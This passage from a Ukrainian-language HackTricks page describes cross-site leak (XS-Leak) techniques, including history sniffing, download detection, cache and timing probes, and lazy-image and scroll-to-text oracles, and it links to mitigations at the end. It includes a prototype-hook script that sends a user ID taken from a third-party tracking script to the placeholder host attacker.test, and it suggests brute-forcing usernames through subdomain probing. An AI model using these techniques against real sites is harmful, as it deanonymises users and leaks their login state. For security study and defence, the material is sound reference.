  • HTMLVideoElement: Він надає videoHeight і videoWidth. У деяких браузерах доступні додаткові властивості, такі як webkitVideoDecodedByteCount, webkitAudioDecodedByteCount і webkitDecodedFrameCount, що дають більш детальну інформацію про медіа. Read more about HTMLVideoElement
  • getVideoPlaybackQuality(): Ця функція повертає деталі якості відтворення відео, включно з totalVideoFrames, що може вказувати на обсяг оброблених відео-даних. Read more about getVideoPlaybackQuality()
  • HTMLImageElement: Цей елемент leakає height та width зображення. Однак, якщо зображення недійсне, ці властивості повернуть 0, а image.decode() буде відхилено, що вказує на помилку завантаження. Read more about HTMLImageElement

CSS Property

Веб-застосунки можуть змінювати стиль сайту залежно від стану користувача. Cross-origin CSS файли можуть бути вставлені на сторінку нападника за допомогою елементу HTML link, і відповідні правила будуть застосовані до сторінки нападника. Якщо сторінка динамічно змінює ці правила, нападник може виявити ці різниці в залежності від стану користувача.
Як техніка leak, нападник може використовувати метод window.getComputedStyle для читання CSS властивостей конкретного HTML елемента. В результаті нападник може прочитати довільні CSS властивості, якщо відомі уражений елемент і назва властивості.

CSS History

Tip

According to this, this is not working in headless Chrome.

Селектор CSS :visited використовується для стилізації URL, якщо вони були раніше відвідані користувачем. Раніше метод getComputedStyle() можна було використовувати для ідентифікації цих відмінностей стилю. Однак сучасні браузери впровадили заходи безпеки, які запобігають витоку стану посилання через цей метод. Ці заходи включають завжди повернення обчисленого стилю як для відвіданого посилання та обмеження стилів, які можна застосувати з :visited.

Незважаючи на ці обмеження, можна опосередковано визначити, чи було посилання відвідане. Одна з технік полягає в тому, щоб обманом змусити користувача взаємодіяти з областю, на яку впливає CSS, зокрема використовуючи властивість mix-blend-mode. Ця властивість дозволяє змішувати елементи з фоном, що потенційно може показати стан :visited на основі взаємодії користувача.

Крім того, детекція може бути досягнута без взаємодії користувача, експлуатуючи часові особливості рендерингу посилань. Оскільки браузери можуть рендерити відвідані та невідвідані посилання по-різному, це може створити вимірювану різницю в часі рендерингу. У звіті-багу Chromium згадано PoC, який демонструє цю техніку з використанням множинних посилань для підсилення часової різниці, що робить стан відвідування детектованим через аналіз часу.

Для додаткових відомостей про ці властивості і методи відвідайте їх документацію:

ContentDocument X-Frame Leak

У Chrome, якщо сторінка з заголовком X-Frame-Options, встановленим у “deny” або “same-origin”, вбудовується як object, з’являється сторінка з помилкою. Chrome унікально повертає порожній об’єкт документу (замість null) для властивості contentDocument цього object, на відміну від iframe або інших браузерів. Нападники можуть експлуатувати це, виявляючи порожній документ, що потенційно розкриває інформацію про стан користувача, особливо якщо розробники непослідовно встановлюють заголовок X-Frame-Options, часто забуваючи про сторінки помилок. Усвідомлення та послідовне застосування заголовків безпеки критично для запобігання таким leak.

Download Detection

Заголовок Content-Disposition, зокрема Content-Disposition: attachment, наказує браузеру завантажити вміст замість відображення inline. Цю поведінку можна використати для виявлення, чи має користувач доступ до сторінки, яка викликає завантаження файлу. У браузерах на базі Chromium існує кілька технік для виявлення цієї поведінки:

  1. Моніторинг download bar:
  • Коли файл завантажується в Chromium-based браузерах, внизу з’являється download bar.
  • Моніторинг змін висоти вікна дозволяє нападникам зробити висновок про появу download bar, натякаючи, що ініційовано завантаження.
  1. Навігація-завантаження з iframe:
  • Коли сторінка викликає завантаження файлу з Content-Disposition: attachment, це не спричиняє події навігації.
  • Завантаживши вміст в iframe і відстежуючи події навігації, можна перевірити, чи призвело Content-Disposition до завантаження файлу (немає навігації) чи ні.
  1. Навігація-завантаження без iframe:
  • Схожа на техніку з iframe, але використовує window.open замість iframe.
  • Відстеження подій навігації у щойно відкритому вікні може показати, чи було викликано завантаження файлу (немає навігації) або вміст відображається inline (відбувається навігація).

У випадках, коли тільки аутентифіковані користувачі можуть ініціювати такі завантаження, ці техніки можуть бути використані для непрямого визначення стану автентифікації користувача на основі реакції браузера на запит завантаження.

Partitioned HTTP Cache Bypass

Warning

This is why this technique is interesting: Chrome now has cache partitioning, and the cache key of the newly opened page is: (https://actf.co, https://actf.co, https://sustenance.web.actf.co/?m =xxx), but if I open an ngrok page and use fetch in it, the cache key will be: (https://myip.ngrok.io, https://myip.ngrok.io, https://sustenance.web.actf.co/?m=xxx), the cache key is different, so the cache cannot be shared. You can find more detail here: Gaining security and privacy by partitioning the cache
(Comment from here)

Якщо сайт example.com включає ресурс з *.example.com/resource, то цей ресурс матиме той самий caching key, як ніби ресурс був запитаний через top-level navigation. Це тому, що ключ кешу складається з top-level eTLD+1 та frame eTLD+1.

Оскільки доступ до кешу швидший, ніж завантаження ресурсу, можливо спробувати змінити location сторінки і зупинити її через ~20ms після початку. Якщо origin змінився після зупинки, це означає, що ресурс був у кеші.
Або можна просто відправити fetch на потенційно кешовану сторінку та виміряти час, який це займає.

Manual Redirect

Fetch with AbortController

Використовуйте fetch і setTimeout з AbortController, щоб одночасно визначити, чи ресурс знаходиться в кеші, та щоб евіктувати конкретний ресурс з кешу браузера. Крім того, процес відбувається без кешування нового вмісту.

Script Pollution

Prototype hooks to exfiltrate module-scoped data

Pre-define Function.prototype.default and Function.prototype.__esModule = 1 before loading a module so its default export calls your hook (e.g., receives {userID: ...}), letting you read module-scoped values without timing or brute force.

<script>
Function.prototype.default=(e)=>{if(typeof e.userID==="string")fetch("//attacker.test/?id="+e.userID)}
Function.prototype.__esModule=1
</script>
<script src="https://www.facebook.com/signals/iwl.js?pixel_id=PIXEL_ID"></script>

Запит сам по собі також стає login-state oracle, якщо скрипт завантажується тільки для автентифікованих користувачів.

Service Workers

У наведеному сценарії атакер ініціює реєстрацію service worker в одному зі своїх доменів, зокрема “attacker.com”. Далі атакер відкриває нове вікно на цільовому сайті з головного документа і наказує service worker запустити таймер. Коли нове вікно починає завантажуватись, атакер переводить вказаний у попередньому кроці референс на сторінку, якою керує service worker.

Після надходження запиту, ініційованого на попередньому кроці, service worker відповідає зі статусом 204 (No Content), фактично припиняючи навігацію. У цей момент service worker зчитує вимірювання з таймера, запущеного раніше на кроці два. Це вимірювання залежить від тривалості виконання JavaScript, який спричиняє затримки в процесі навігації.

Warning

В execution timing можна eliminate network factors, щоб отримати more precise measurements. Наприклад, завантаживши ресурси, які використовує сторінка, перед її відкриттям.

Fetch Timing

Cross-Window Timing

Subdomain probing for identity/login state

  • Inclusion Methods: HTML Elements (script), Frames
  • Detectable Difference: DNS/HTTP load success, CORB/header changes
  • Summary: Якщо ідентифікатори містяться в мітках субдоменів (наприклад, www.<username>.sb.facebook.com), запитуйте ресурси на кандидатних хостах і розглядайте onload проти onerror/timeouts як Boolean. Комбінуйте з login-only скриптами (наприклад, /signals/iwl.js) для brute-force імен користувачів і перевірки аутентифікації на суміжних властивостях.
  • Note: Signals можна посилити різними типами включення (script, iframe, object) для виявлення X-Frame-Options, CORB або відмінностей у редіректах для кожного кандидата.

With HTML or Re Injection

Тут наведені техніки для ексфільтрації інформації з cross-origin HTML при injecting HTML content. Ці техніки корисні у випадках, коли з якихось причин ви можете inject HTML but you cannot inject JS code.

Dangling Markup

Dangling Markup - HTML scriptless injection

Image Lazy Loading

Якщо вам потрібно exfiltrate content і ви можете add HTML previous to the secret, варто перевірити common dangling markup techniques.
Однак, якщо з будь-якої причини ви MUST робити це char by char (можливо, комунікація відбувається через cache hit), ви можете використати цей трюк.

Images в HTML мають атрибут “loading”, значення якого може бути “lazy”. У такому випадку зображення буде завантажуватись, коли його переглядають, а не під час завантаження сторінки:

<img src=/something loading=lazy >

Отже, що ви можете зробити — це додати багато сміттєвих символів (Наприклад тисячі “W”) щоб заповнити веб-сторінку перед секретом або додати щось на кшталт <br><canvas height="1850px"></canvas><br>.
Потім, наприклад, якщо наша injection appear before the flag, то зображення буде завантажене, але якщо воно з’явиться після flag, то flag + сміття перешкодять його завантаженню (вам доведеться поекспериментувати з тим, скільки сміття вставляти). Це те, що сталося в this writeup.

Інший варіант — використати scroll-to-text-fragment, якщо це дозволено:

Scroll-to-text-fragment

Однак ви змушуєте bot access the page з чимось на кшталт

#:~:text=SECR

Отже, веб-сторінка виглядатиме приблизно так: https://victim.com/post.html#:~:text=SECR

Де post.html містить сміттєві символи від атакувальника і lazy load image, а потім додається секрет бота.

Цей фрагмент змусить бота отримати доступ до будь-якого тексту на сторінці, що містить текст SECR. Оскільки цей рядок є секретом і знаходиться просто під зображенням, то зображення завантажиться лише якщо вгаданий символ правильний. Отже, ви отримуєте орaкул для витягування секрету символ за символом.

Some code example to exploit this: https://gist.github.com/jorgectf/993d02bdadb5313f48cf1dc92a7af87e

Ліниве завантаження зображень (на основі часу)

If it’s not possible to load an external image that could indicate the attacker that the image was loaded, another option would be to try to guess the char several times and measure that. If the image is loaded all the requests would take longer that if the image isn’t loaded. This is what was used in the solution of this writeup sumarized here:

Event Loop Blocking + Lazy images

ReDoS

Regular expression Denial of Service - ReDoS

CSS ReDoS

If jQuery(location.hash) is used, it’s possible to find out via timing if some HTML content exists, this is because if the selector main[id='site-main'] doesn’t match it doesn’t need to check the rest of the selectors:

$(
"*:has(*:has(*:has(*)) *:has(*:has(*:has(*))) *:has(*:has(*:has(*)))) main[id='site-main']"
)

CSS Injection

CSS Injection

Захист

Існують рекомендовані заходи пом’якшення, наведені в https://xsinator.com/paper.pdf, а також у кожному розділі wiki на https://xsleaks.dev/. Перегляньте їх для отримання додаткової інформації про те, як захиститися від цих технік.

Посилання

Tip

Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Вивчайте та практикуйте Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Підтримайте HackTricks